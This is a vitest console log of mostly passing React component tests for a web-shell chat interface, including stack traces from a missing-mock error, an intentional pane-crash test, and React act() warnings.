✓ ChatEditor workspace toolbar integration > renders the workspace chip before the git branch chip 671ms
✓ ChatEditor top composer tag tooltip > activates the plain tag from click and keyboard with the outer tag rect 553ms
✓ ChatEditor top composer tag tooltip > removes a tag without activating it 387ms
✓ ChatEditor top composer tag tooltip > falls back to a plain tag when custom tooltip rendering throws 338ms
✓ ChatEditor top composer tag tooltip > opens custom content from a top tag in the configured portal root 2062ms
✓ ChatEditor toolbar popovers > opens the approval mode popover and restores editor focus after selection 2471ms
✓ ChatEditor toolbar popovers > observes custom toolbar render roots when measuring available width 419ms
✓ ChatEditor toolbar popovers > opens a searchable model popover and selects the filtered model 1412ms
✓ ChatEditor toolbar popovers > displays the model label instead of an opaque route id 550ms
✓ ChatEditor toolbar popovers > exposes the complete model name on dropdown items for hover 1850ms
✓ ChatEditor toolbar popovers > switches between sibling toolbar popovers without dismissing the target 3405ms
✓ ChatEditor slash command popovers > uses shadcn popovers for the command panel and hover detail 1053ms
✓ ChatEditor mobile composer quick actions > maps the history quick action to the search UI on the mobile composer 1131ms
✓ ChatEditor mobile composer quick actions > hides the keyboard shortcut hints grid on the mobile composer 1628ms
✓ ChatEditor mobile composer quick actions > hides other toolbar actions while mobile voice capture is active 980ms
✓ components/messages/ToolGroup.test.tsx (47 tests) 7479ms
✓ tool group summary logic > lets custom tool header extras render single-tool chat summaries 1376ms
✓ tool output session links > keeps interactive tool session links clickable by default 387ms
✓ tool row rendering > renders ANSI shell output as styled spans instead of escape text 336ms
✓ tool row rendering > wraps a single expanded agent body in a headerless card 395ms
✓ tool row rendering > opens a single foreground agent from the tool summary 607ms
✓ tool row rendering > falls back to the original summary expansion when monitor details are unavailable 910ms
✓ tool row rendering > resets summary expansion when the monitor identity changes 318ms
stderr | components/dialogs/DaemonStatusDialog.test.tsx > DaemonStatusDialog > moves between tabs with arrow / Home / End keys (roving tabindex)
Error: [vitest] No "useUsageDashboard" export is defined on the "@qwen-code/webui/daemon-react-sdk" mock. Did you forget to return it from "vi.mock"?
If you need to partially mock a module, you can use "importOriginal" helper inside:
at VitestMocker.createError (file:///build/qwen-code/src/qwen-code/node_modules/[4mvitest[24m/dist/chunks/execute.B7h3T_Hc.js:284:17)
at Object.get (file:///build/qwen-code/src/qwen-code/node_modules/[4mvitest[24m/dist/chunks/execute.B7h3T_Hc.js:330:16)
at UsageDashboardTab [90m(/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/dialogs/UsageDashboardTab.tsx:202:49[90m)[39m
at Object.react_stack_bottom_frame (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:25904:20)
at renderWithHooks (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:7662:22)
at updateFunctionComponent (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:10166:19)
at beginWork (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:11778:18)
at runWithFiberInDEV (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:874:13)
at performUnitOfWork (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17641:22)
at workLoopSync (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17469:41) {
[stack]: [36m[Getter/Setter][39m,
[message]: [32m'[vitest] No "useUsageDashboard" export is defined on the "@qwen-code/webui/daemon-react-sdk" mock. Did you forget to return it from "vi.mock"?\n'[39m +
[32m'If you need to partially mock a module, you can use "importOriginal" helper inside:\n'[39m,
codeFrame: [32m'vi\x1B[33m.\x1B[39m\x1B[34mmock\x1B[39m(\x1B[35mimport\x1B[39m(\x1B[32m"@qwen-code/webui/daemon-react-sdk"\x1B[39m)\x1B[33m,\x1B[39m \x1B[35masync\x1B[39m (importOriginal) \x1B[33m=>\x1B[39m {\n'[39m +
[32m' \x1B[35mconst\x1B[39m actual \x1B[33m=\x1B[39m \x1B[35mawait\x1B[39m \x1B[34mimportOriginal\x1B[39m()\n'[39m +
[32m' \x1B[35mreturn\x1B[39m {\n'[39m +
[32m' \x1B[33m...\x1B[39mactual\x1B[33m,\x1B[39m\n'[39m +
[32m' \x1B[90m// your mocked methods\x1B[39m\n'[39m +
[32m' }\n'[39m +
[32m'})'[39m
}
The above error occurred in the component.
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
[web-shell] daemon-usage failed: Error: [vitest] No "useUsageDashboard" export is defined on the "@qwen-code/webui/daemon-react-sdk" mock. Did you forget to return it from "vi.mock"?
If you need to partially mock a module, you can use "importOriginal" helper inside:
at VitestMocker.createError (file:///build/qwen-code/src/qwen-code/node_modules/[4mvitest[24m/dist/chunks/execute.B7h3T_Hc.js:284:17)
at Object.get (file:///build/qwen-code/src/qwen-code/node_modules/[4mvitest[24m/dist/chunks/execute.B7h3T_Hc.js:330:16)
at UsageDashboardTab [90m(/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/dialogs/UsageDashboardTab.tsx:202:49[90m)[39m
at Object.react_stack_bottom_frame (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:25904:20)
at renderWithHooks (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:7662:22)
at updateFunctionComponent (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:10166:19)
at beginWork (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:11778:18)
at runWithFiberInDEV (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:874:13)
at performUnitOfWork (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17641:22)
at workLoopSync (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17469:41) {
codeFrame: [32m'vi\x1B[33m.\x1B[39m\x1B[34mmock\x1B[39m(\x1B[35mimport\x1B[39m(\x1B[32m"@qwen-code/webui/daemon-react-sdk"\x1B[39m)\x1B[33m,\x1B[39m \x1B[35masync\x1B[39m (importOriginal) \x1B[33m=>\x1B[39m {\n'[39m +
[32m' \x1B[35mconst\x1B[39m actual \x1B[33m=\x1B[39m \x1B[35mawait\x1B[39m \x1B[34mimportOriginal\x1B[39m()\n'[39m +
[32m' \x1B[35mreturn\x1B[39m {\n'[39m +
[32m' \x1B[33m...\x1B[39mactual\x1B[33m,\x1B[39m\n'[39m +
[32m' \x1B[90m// your mocked methods\x1B[39m\n'[39m +
[32m' }\n'[39m +
[32m'})'[39m
}
at UsageDashboardTab (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/dialogs/UsageDashboardTab.tsx:274:60)
at ErrorBoundary (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/ErrorBoundary.tsx:11:1)
at div ()
at div ()
at DaemonStatusDialogInner (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/dialogs/DaemonStatusDialog.tsx:649:50)
at ErrorBoundary (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/ErrorBoundary.tsx:11:1)
at DaemonStatusDialog (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/dialogs/DaemonStatusDialog.tsx:1540:50)
at I18nProvider (/build/qwen-code/src/qwen-code/packages/web-shell/client/i18n.tsx:4817:3)
✓ components/dialogs/DaemonStatusDialog.test.tsx (36 tests) 19732ms
✓ DaemonStatusDialog > renders live summary counters with the full-detail rollup badge 2863ms
✓ DaemonStatusDialog > translates workspace section status badges, including "unavailable" 956ms
✓ DaemonStatusDialog > fetches both summary and full detail; diagnostics live under the Diagnostics tab 707ms
✓ DaemonStatusDialog > renders charts on the Metrics tab from the series and hides Overview 1630ms
✓ DaemonStatusDialog > shows the collecting-metrics placeholder when the series is empty 398ms
✓ DaemonStatusDialog > formats large legend values via the compact-count, percent, and KB branches 1140ms
✓ DaemonStatusDialog > charts model API errors and automatic retries on the Metrics tab 904ms
✓ DaemonStatusDialog > gives every metrics chart a hover help affordance with self-explaining copy 985ms
✓ DaemonStatusDialog > tolerates a metrics bucket from a daemon predating the API-health fields 1037ms
✓ DaemonStatusDialog > moves between tabs with arrow / Home / End keys (roving tabindex) 2351ms
✓ DaemonStatusDialog > auto-refresh reloads only the cheap summary, never the full report 481ms
✓ DaemonStatusDialog > skips a poll tick while the previous summary reload is still in flight 319ms
✓ DaemonStatusDialog > manual refresh reloads both summary and full 328ms
✓ DaemonStatusDialog > falls back to the summary rollup badge while diagnostics are still loading 356ms
✓ DaemonStatusDialog > renders the ACP-disabled branch when the transport is off 307ms
✓ DaemonStatusDialog > contains a detail-section crash without losing the summary cards 309ms
✓ DaemonStatusDialog > falls back to the session id when a session has no display name 358ms
✓ DaemonStatusDialog > names the individual warning/error cells behind a section status 325ms
stderr | components/SplitView.test.tsx > SplitView > isolates a crashing pane so the rest of the split survives
Error: pane exploded
at ChatPane [90m(/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/SplitView.test.tsx:68:39[90m)[39m
at Object.react_stack_bottom_frame (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:25904:20)
at renderWithHooks (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:7662:22)
at updateFunctionComponent (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:10166:19)
at beginWork (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:11778:18)
at runWithFiberInDEV (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:874:13)
at performUnitOfWork (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17641:22)
at workLoopSync (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17469:41)
at renderRootSync (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17450:11)
at performWorkOnRoot (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:16583:35) {
[stack]: [36m[Getter/Setter][39m,
[message]: [32m'pane exploded'[39m
}
The above error occurred in the component.
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
[web-shell] split-pane:s1 failed: Error: pane exploded
at ChatPane [90m(/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/SplitView.test.tsx:68:39[90m)[39m
at Object.react_stack_bottom_frame (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:25904:20)
at renderWithHooks (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:7662:22)
at updateFunctionComponent (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:10166:19)
at beginWork (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:11778:18)
at runWithFiberInDEV (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:874:13)
at performUnitOfWork (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17641:22)
at workLoopSync (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17469:41)
at renderRootSync (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:17450:11)
at performWorkOnRoot (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:16583:35)
at ChatPane (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/SplitView.test.tsx:44:15)
at div ()
at DaemonSessionProvider (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/SplitView.test.tsx:6:29)
at ErrorBoundary (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/ErrorBoundary.tsx:11:1)
at div ()
at div ()
at div ()
at SplitView (/build/qwen-code/src/qwen-code/packages/web-shell/client/components/SplitView.tsx:35:3)
at I18nProvider (/build/qwen-code/src/qwen-code/packages/web-shell/client/i18n.tsx:4817:3)
✓ components/SplitView.test.tsx (41 tests) 11777ms
✓ SplitView > renders one pane per initial session, each under its own provider 1796ms
✓ SplitView > syncs panes when session ids change after mount 409ms
✓ SplitView > requests pane changes without mutating local panes when controlled 563ms
✓ SplitView > isolates a crashing pane so the rest of the split survives 671ms
✓ SplitView > keeps a pane maximized when Escape originates from an editable field 307ms
✓ SplitView > reveals a newly added pane by exiting maximize 325ms
✓ SplitView > mirrors the live pane set up to the parent as panes change 720ms
✓ SplitView > offers other trusted workspaces’ sessions in the picker, tagged by workspace 455ms
✓ components/messages/MarkdownChartRenderer.test.tsx (25 tests) 12969ms
✓ Web Shell markdown-chart integration > enables the built-in registry without host chart configuration 1822ms
✓ Web Shell markdown-chart integration > renders canonical charts and the shared Chart/Data view 3143ms
✓ Web Shell markdown-chart integration > rejects unsafe chart option fields before calling ECharts 1348ms
✓ Web Shell markdown-chart integration > localizes shared chart controls and preserves host label overrides 672ms
✓ Web Shell markdown-chart integration > renders a closed chart immediately while later Markdown is streaming 634ms
✓ Web Shell markdown-chart integration > renders a closed blockquote chart while the response is streaming 370ms
✓ Web Shell markdown-chart integration > loads only after the active tail fence closes 418ms
✓ Web Shell markdown-chart integration > rejects unsafe refs before calling the host resolver by default 427ms
✓ deprecated echarts-fulldata compatibility adapter > preserves the controlled ref allowlist and legacy resolver metadata 1433ms
✓ deprecated echarts-fulldata compatibility adapter > does not resolve the same legacy ref again when response streaming ends 439ms
✓ components/SpecularComposerEffect.test.tsx (12 tests) 4878ms
✓ composer visual effects fallback > keeps both animation layers inert when canvas contexts are unavailable 1242ms
✓ composer visual effects fallback > erases dots for the pointer glow regardless of the background color 740ms
✓ specular effect idle bail-out > stops the rAF loop only after brightness decays below the threshold 1531ms
✓ voice/VoiceButton.test.tsx (30 tests) 6034ms
✓ VoiceButton > renders only when workspace voice is enabled 1421ms
✓ VoiceButton > stays hidden while the workspace voice request is pending or fails 347ms
✓ VoiceButton > aborts active capture when the voice gate reloads 381ms
✓ components/dialogs/GitDialog.test.tsx (13 tests) 19776ms
✓ GitDialog > switches views inside one dialog with complete tab semantics 4588ms
✓ GitDialog > supports arrow-key tab navigation 902ms
✓ GitDialog > forwards gitCwd to both diff and log SDK calls 808ms
✓ GitDialog > shows the pull requests tab only when the daemon advertises the capability 2346ms
✓ GitDialog > falls back to the diff view when PRs are requested without the capability 465ms
✓ GitDialog > wraps arrow-key navigation across all three tabs 1180ms
✓ GitDialog > passes gitCwd to commit and push SDK calls in the commit view 1005ms
✓ GitDialog > clamps to the diff view when the capability is withdrawn mid-session 680ms
✓ GitDialog > lets arrow keys leave the commit tab back to the regular tabs 840ms
✓ GitDialog > offers a retry when the PR base-branch list fails to load 3664ms
✓ GitDialog > commits without pushing when only the Commit button is clicked 895ms
✓ GitDialog > reports commit-success-push-failed when the push rejects 772ms
✓ GitDialog > creates a pull request via the SDK 1542ms
✓ components/messages/PlanExecutionView.test.tsx (22 tests) 6253ms
✓ PlanExecutionView > opens a live nested agent through its transcript tool call 1988ms
✓ PlanExecutionView > opens a live nested agent from its task tool call id 372ms
✓ PlanExecutionView > keeps persisted nested agents beside still-live siblings 304ms
✓ PlanExecutionView > groups executions by todo and keeps missing links unassigned 586ms
✓ PlanExecutionView > clears the selected step when the active plan is cleared 381ms
✓ PlanExecutionView > skips SVG edge materialization for an excessively dense plan 639ms
✓ voice/useVoiceCapture.test.tsx (23 tests) 3532ms
✓ useVoiceCapture > preserves reverse-proxy base paths in the websocket URL 675ms
✓ useVoiceCapture > carries the bearer token as a Sec-WebSocket-Protocol subprotocol 338ms
✓ components/channels/ChannelPairingRequests.test.tsx (23 tests) 17926ms
✓ ChannelPairingRequests > loads and displays pending requests for the selected Channel 2183ms
✓ ChannelPairingRequests > shows pairing approvals and distinguishes configured allowlist access 549ms
✓ ChannelPairingRequests > retries after loading pairing approvals fails 715ms
✓ ChannelPairingRequests > confirms and revokes only the selected pairing approval 3847ms
✓ ChannelPairingRequests > does not approve a request while a revoke is in flight 928ms
✓ ChannelPairingRequests > does not revoke an approval while an approval is in flight 424ms
✓ ChannelPairingRequests > cancels the revoke confirmation without revoking the approval 791ms
✓ ChannelPairingRequests > keeps an approval visible when revoking it fails 888ms
✓ ChannelPairingRequests > approves a request and replaces the list with the daemon response 571ms
✓ ChannelPairingRequests > refreshes pairing approvals when a revoke target is already gone 754ms
✓ ChannelPairingRequests > shows an error when refreshing after a missing approval fails 1570ms
✓ ChannelPairingRequests > keeps a request visible when approval fails 492ms
✓ ChannelPairingRequests > uses an actionable message when the daemon does not respond 308ms
✓ ChannelPairingRequests > uses an actionable message when approval cannot reach the daemon 420ms
✓ ChannelPairingRequests > uses an actionable message for malformed daemon errors 391ms
✓ ChannelPairingRequests > refreshes the list when an approval request has expired 420ms
✓ ChannelPairingRequests > retries after loading requests fails 411ms
✓ ChannelPairingRequests > ignores an approval response after the selected Channel changes 585ms
✓ ChannelPairingRequests > does not show requests from the previous Channel while loading 426ms
✓ ChannelPairingRequests > does not show approvals from the previous Channel while loading 394ms
stderr | components/SessionOverviewPanel.test.tsx > SessionOverviewPanel polling > re-queries other workspaces on each list poll (multi-workspace)
An update to SessionOverviewPanelInner inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | components/SessionOverviewPanel.test.tsx > SessionOverviewPanel polling > re-queries other workspaces on each list poll (multi-workspace)
An update to SessionOverviewPanelInner inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | components/SessionOverviewPanel.test.tsx > SessionOverviewPanel polling > re-queries other workspaces on each list poll (multi-workspace)
An update to SessionOverviewPanelInner inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
✓ components/SessionOverviewPanel.test.tsx (26 tests) 6878ms
✓ deriveSessionCards > flags sessions in a non-primary workspace against the primary cwd 353ms
✓ SessionOverviewPanel > renders an empty state when there are no sessions 1055ms
✓ SessionOverviewPanel > renders cards ranked with needs-approval first 1231ms
✓ SessionOverviewPanel > switches the current session when a card label is clicked 310ms
✓ SessionOverviewPanel > opens the selected sessions as a split in ONE new tab (?split=…) 538ms
✓ SessionOverviewPanel > does not re-select a session that left the list and came back 361ms
✓ SessionOverviewPanel > caps the split to 6 sessions and warns when more are selected 412ms
✓ SessionOverviewPanel polling > re-queries other workspaces on each list poll (multi-workspace) 323ms
✓ components/artifacts/CodeReviewArtifactDetail.test.tsx (19 tests) 8289ms
✓ CodeReviewArtifactDetail > renders authoritative verdict, counts and finding details without recomputing them 1462ms
✓ CodeReviewArtifactDetail > localizes the review chrome without translating canonical finding data 347ms
✓ CodeReviewArtifactDetail > filters findings by severity and confidence while preserving authoritative counts 861ms
✓ CodeReviewArtifactDetail > allows only safe evidence links 586ms
✓ CodeReviewArtifactDetail > opens the Markdown report through workspace actions 1564ms
✓ CodeReviewArtifactDetail > ignores a stale Markdown response after switching artifacts 840ms
✓ CodeReviewArtifactDetail > resets filters when switching artifacts 633ms
✓ CodeReviewArtifactDetail > renders local assetFiles as workspace images and bare paths 477ms
✓ CodeReviewArtifactDetail > does not re-read the artifact or reset filters on a language switch 534ms
✓ components/messages/AskUserQuestion.test.tsx (26 tests) 9541ms
✓ AskUserQuestion accessibility > exposes an alertdialog of real buttons and focuses the first option 1829ms
✓ AskUserQuestion accessibility > arrow keys change the single-select answer, not just the highlight 794ms
✓ AskUserQuestion accessibility > Home/End change the single-select answer too (radiogroup contract) 398ms
✓ AskUserQuestion accessibility > moving to "Other" clears the regular single-select answer 316ms
✓ AskUserQuestion accessibility > clicking the "Other" row padding (not just the trigger) opens the input 382ms
✓ AskUserQuestion accessibility > selects an option then submits the answer 315ms
✓ AskUserQuestion accessibility > jumps to first/last with Home/End 360ms
✓ AskUserQuestion accessibility > reports a rejected submit and allows retrying 376ms
✓ AskUserQuestion accessibility > ignores a stale failure after a new request starts submitting 516ms
✓ AskUserQuestion accessibility > reports a missing submit option without calling onConfirm 524ms
✓ hooks/useQueuedPrompts.dom.test.tsx (18 tests) 2523ms
✓ useQueuedPrompts default mid-turn insertion > keeps an accepted message queued until its injection event 682ms
✓ useQueuedPrompts default mid-turn insertion > falls back to one ordinary submission when mid-turn admission fails 466ms
stderr | components/messages/ToolApproval.test.tsx > ToolApproval accessibility > leaves Enter to native button activation (no double-press guard)
An update to ToolApproval inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
✓ components/messages/ToolApproval.test.tsx (30 tests) 5770ms
✓ ToolApproval accessibility > shows the active Todo workflow before exiting Plan Mode 1802ms
✓ ToolApproval accessibility > does not apply approval shortcuts to a focused workflow node 334ms
✓ components/dialogs/GoalsDialog.test.tsx (25 tests) 12095ms
✓ GoalsDialog > shows the empty state when no goal is active 993ms
✓ GoalsDialog > warns that the list is incomplete when sessions could not be probed 530ms
✓ GoalsDialog > renders a goal with its condition, turn count and judge verdict 333ms
✓ GoalsDialog > rejects an empty condition instead of submitting it 3362ms
✓ GoalsDialog > accepts a condition far longer than the old 4,000-char cap 710ms
✓ GoalsDialog > rejects a clear keyword, which would drop the goal instead of setting it 601ms
✓ GoalsDialog > discards the typed condition when the form is cancelled 706ms
✓ GoalsDialog > submits a trimmed condition and closes the form 471ms
✓ GoalsDialog > routes a creation failure to a toast when the page closed mid-flight 466ms
✓ GoalsDialog > keeps the form open with the condition when creation reports failure 513ms
✓ GoalsDialog > closes the form when creation resolves with no explicit result 952ms
✓ components/messages/UserMessage.test.tsx (25 tests) 3538ms
✓ UserMessage > renders content 573ms
✓ UserMessage > renders an accessible retry action for a failed send 517ms
✓ UserMessage > renders the built-in skill icon for annotation chips 417ms
✓ hooks/useMessages.test.ts (13 tests) 1729ms
✓ background agent task reconciliation > queries once for a pending card, ignores streaming, and retries after reconnect 697ms
✓ background agent task reconciliation > reconciles after a terminal agent notification without toolUseId 393ms
✓ components/PaneHeaderActions.test.tsx (11 tests) 12069ms
✓ PaneHeaderActions > shows host actions inline when they fit 1983ms
✓ PaneHeaderActions > collapses host actions into an overflow menu with menuitems 2906ms
✓ PaneHeaderActions > flattens Fragment children into overflow menuitems 1892ms
✓ PaneHeaderActions > activates opaque custom host components from the overflow menu 1116ms
✓ PaneHeaderActions > uses the title attribute as overflow label when no text children 913ms
✓ PaneHeaderActions > falls back to the default label when no label source exists 838ms
✓ PaneHeaderActions > ignores aria-hidden glyphs when labelling overflow items 845ms
✓ PaneHeaderActions > omits non-interactive children from the overflow menu 931ms
✓ components/artifacts/SideTaskPanel.test.tsx (13 tests) 2313ms
✓ creates a side task and reports the new session id 939ms
✓ does not retry creation after a prop change until the user requests it 669ms
✓ components/dialogs/GitDiffDialog.test.tsx (14 tests) 9648ms
✓ GitDiffDialog > renders the changed file list with stats 3292ms
✓ GitDiffDialog > shows a truncation note when more files are hidden 497ms
✓ GitDiffDialog > loads and renders a file diff when expanded 906ms
✓ GitDiffDialog > still loads a file diff under StrictMode (cancelled flag resets on remount) 722ms
✓ GitDiffDialog > forwards the pre-rename oldPath when expanding a renamed file 478ms
✓ GitDiffDialog > shows an empty placeholder for a clean working tree 303ms
✓ GitDiffDialog > marks untracked and binary files in the list 649ms
✓ GitDiffDialog > shows an error placeholder when the diff list fails to load 904ms
✓ GitDiffDialog > shows a per-file error when a file diff fails to load 364ms
✓ GitDiffDialog > labels a capped file diff as truncated 362ms
✓ GitDiffDialog > shows the per-file error when row building rejects on malformed hunks 306ms
✓ GitDiffDialog > renders Shiki tokens per side when highlighting succeeds 391ms
✓ components/panels/EnvironmentPanel.test.tsx (14 tests) 5326ms
✓ EnvironmentPanel > shows supported workspace and Git context 1733ms
✓ EnvironmentPanel > opens the branch actions without dismissing a floating panel 603ms
✓ EnvironmentPanel > shows agent, shell, and monitor task activity 780ms
✓ EnvironmentPanel > opens an out-of-band fork without a tool call id 302ms
✓ components/WebShellTranscript.dom.test.tsx (9 tests) 9914ms
✓ WebShellTranscript DOM integration > renders representative transcript blocks without daemon providers 4278ms
✓ WebShellTranscript DOM integration > derives task detail from todo_write transcript snapshots 870ms
✓ WebShellTranscript DOM integration > keeps MessageList turn expansion as a local viewing interaction 1379ms
✓ WebShellTranscript DOM integration > suppresses session and goal events while preserving their text 562ms
✓ WebShellTranscript DOM integration > falls back to the built-in Markdown renderer when customization throws 1795ms
✓ components/dialogs/AddWorkspaceDialog.test.tsx (22 tests) 20552ms
✓ AddWorkspaceDialog > focuses the path input when opened 3993ms
✓ AddWorkspaceDialog > hides the display name field unless the daemon supports it 660ms
✓ AddWorkspaceDialog > describes the input with the hint and no error initially 609ms
✓ AddWorkspaceDialog > rejects a non-absolute path with an accessible error and does not call onAdd 1136ms
✓ AddWorkspaceDialog > submits a trimmed absolute path and closes on success 894ms
✓ AddWorkspaceDialog > submits an optional trimmed display name 1831ms
✓ AddWorkspaceDialog > submits a display name with persist=false 1285ms
✓ AddWorkspaceDialog > hides persistence and always submits false when unsupported 535ms
✓ AddWorkspaceDialog > surfaces an onAdd failure as an inline error and stays open 645ms
✓ AddWorkspaceDialog > accepts a Windows-style absolute path 605ms
✓ AddWorkspaceDialog > falls back to the generic error when onAdd rejects with a non-Error 602ms
✓ AddWorkspaceDialog > path autocomplete > debounces a suggestion fetch for an absolute prefix and lists directories 1096ms
✓ AddWorkspaceDialog > path autocomplete > opens the system picker and fills the selected absolute path 931ms
✓ AddWorkspaceDialog > path autocomplete > leaves the path unchanged when the system picker is cancelled 563ms
✓ AddWorkspaceDialog > path autocomplete > shows an error when the system picker fails 544ms
✓ AddWorkspaceDialog > path autocomplete > never queries for a non-absolute value 510ms
✓ AddWorkspaceDialog > path autocomplete > accepts the highlighted entry with Enter without submitting the form 887ms
✓ AddWorkspaceDialog > path autocomplete > accepts a single suggestion with Tab 1022ms
✓ AddWorkspaceDialog > path autocomplete > accepts a suggestion on mousedown 570ms
✓ AddWorkspaceDialog > path autocomplete > closes only the list on Escape, keeping the dialog open 555ms
✓ AddWorkspaceDialog > path autocomplete > shows no list when the lookup fails 491ms
✓ AddWorkspaceDialog > shows the adding state and disables controls while submitting 516ms
✓ components/messages/AssistantMessage.test.tsx (18 tests) 13200ms
✓ AssistantMessage thinking logic > keeps replayed completed thinking durationless 754ms
✓ AssistantMessage thinking logic > shows the completed label for a 999ms live thought 948ms
✓ AssistantMessage thinking logic > only translates completed thinking and reuses the in-memory result 4958ms
✓ AssistantMessage thinking logic > shows a failure when generation completes without translated text 719ms
✓ AssistantMessage thinking logic > cancels an in-flight translation from the popover footer 779ms
✓ AssistantMessage thinking logic > shows a thinking status when generation emits thinking 1516ms
✓ AssistantMessage streaming markdown > limits intermediate renders and flushes final content immediately 345ms
✓ AssistantMessage markdown tables > uses advanced tables when configured 1908ms
✓ components/sidebar/WebShellSidebar.collapse-persist.test.tsx (11 tests) 17232ms
✓ WebShellSidebar collapsed session group persistence > shows the complete session name in a native tooltip 3576ms
✓ WebShellSidebar collapsed session group persistence > shows the complete archived session name in a native tooltip 2371ms
✓ WebShellSidebar collapsed session group persistence > writes collapsed section ids with the qwen-code-web-shell-* key 1381ms
✓ WebShellSidebar collapsed session group persistence > keeps a collapsed named group collapsed across remount 1016ms
✓ WebShellSidebar collapsed session group persistence > keeps an expanded group expanded across remount after clearing collapse 1945ms
✓ WebShellSidebar collapsed session group persistence > tolerates corrupt localStorage data 859ms
✓ WebShellSidebar collapsed session group persistence > ignores non-array localStorage payloads 1007ms
✓ WebShellSidebar collapsed session group persistence > does not crash when localStorage.setItem throws 1124ms
✓ WebShellSidebar collapsed session group persistence > auto-collapses a brand-new section that appears mid-session 1625ms
✓ WebShellSidebar collapsed session group persistence > restores multiple section kinds and keeps sibling ids when one is removed 1226ms
✓ WebShellSidebar collapsed session group persistence > does not clobber workspace-scoped collapse ids when primary toggles 1055ms
✓ hooks/useComposerCore.mobile.dom.test.tsx (19 tests) 13364ms
✓ useComposerCore mobile textarea backend > activates on touch devices: textarea renders, CodeMirror never mounts 2664ms
✓ useComposerCore mobile textarea backend > stays off on non-touch devices: CodeMirror mounts, mobileComposer is null 4310ms
✓ useComposerCore mobile textarea backend > respects the ?composer=codemirror escape hatch on touch devices 723ms
✓ useComposerCore mobile textarea backend > drives hasContent and onInputTextChange from typing 450ms
✓ useComposerCore mobile textarea backend > submits through the shared pipeline and clears the draft 319ms
✓ useComposerCore mobile textarea backend > maps text methods onto the textarea state 335ms
✓ useComposerCore mobile textarea backend > submits a selected history-search match through the pipeline 778ms
✓ useComposerCore mobile textarea backend > notifies onInputTextChange on programmatic draft changes 447ms
✓ useComposerCore mobile textarea backend > suppresses programmatic mount focus on the CodeMirror path for touch devices 676ms
